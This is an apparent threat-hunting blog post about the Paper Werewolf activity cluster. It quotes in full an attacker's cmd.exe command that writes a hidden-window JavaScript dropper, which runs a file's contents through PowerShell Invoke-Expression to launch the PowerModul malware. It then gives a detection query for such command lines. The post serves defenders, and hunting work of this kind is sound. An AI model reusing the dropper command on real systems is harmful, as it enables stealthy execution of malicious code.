102. Hunting for Paper Werewolf

Hello everyone! Let's keep talking about threat hunting! Paper Werewolf is in the news, so let's focus on this activity cluster. And look into this report.

The procedure we're going to look at is the following:

cmd.exe /c if not exist "C:\Users\user\UserCacheHelper.lnk.js" echo var objService = GetObject("winmgmts:\\\\.\\root\\cimv2");var objStartup = objService.Get("Win32_ProcessStartup");var objConfig = objStartup.SpawnInstance_();objConfig.ShowWindow = 0;var processClass = objService.Get("Win32_Process");var command = "powershell.exe -c \"$raw= Get-Content C:\\Users\\user\\UserCache.ini;Invoke-Expression $raw\"";var result = processClass.Create(command, null, objConfig, 0); > C:\Users\user\UserCacheHelper.lnk.js

It's used to drop a JavaScript file named UserCacheHelper.lnk.js onto the disk. The script runs PowerModul.

I would suggest to hunt for similar activity focusing on two cmdlets: Get-Content and Invoke-Expression:

event_type: "processcreatewin"

AND

proc_file_name: "cmd.exe"

AND

cmdline: ("Get-Content" AND "Invoke-Expression")

We'll keep working with the report tomorrow and extract more hunting opportunities!

See you tomorrow!

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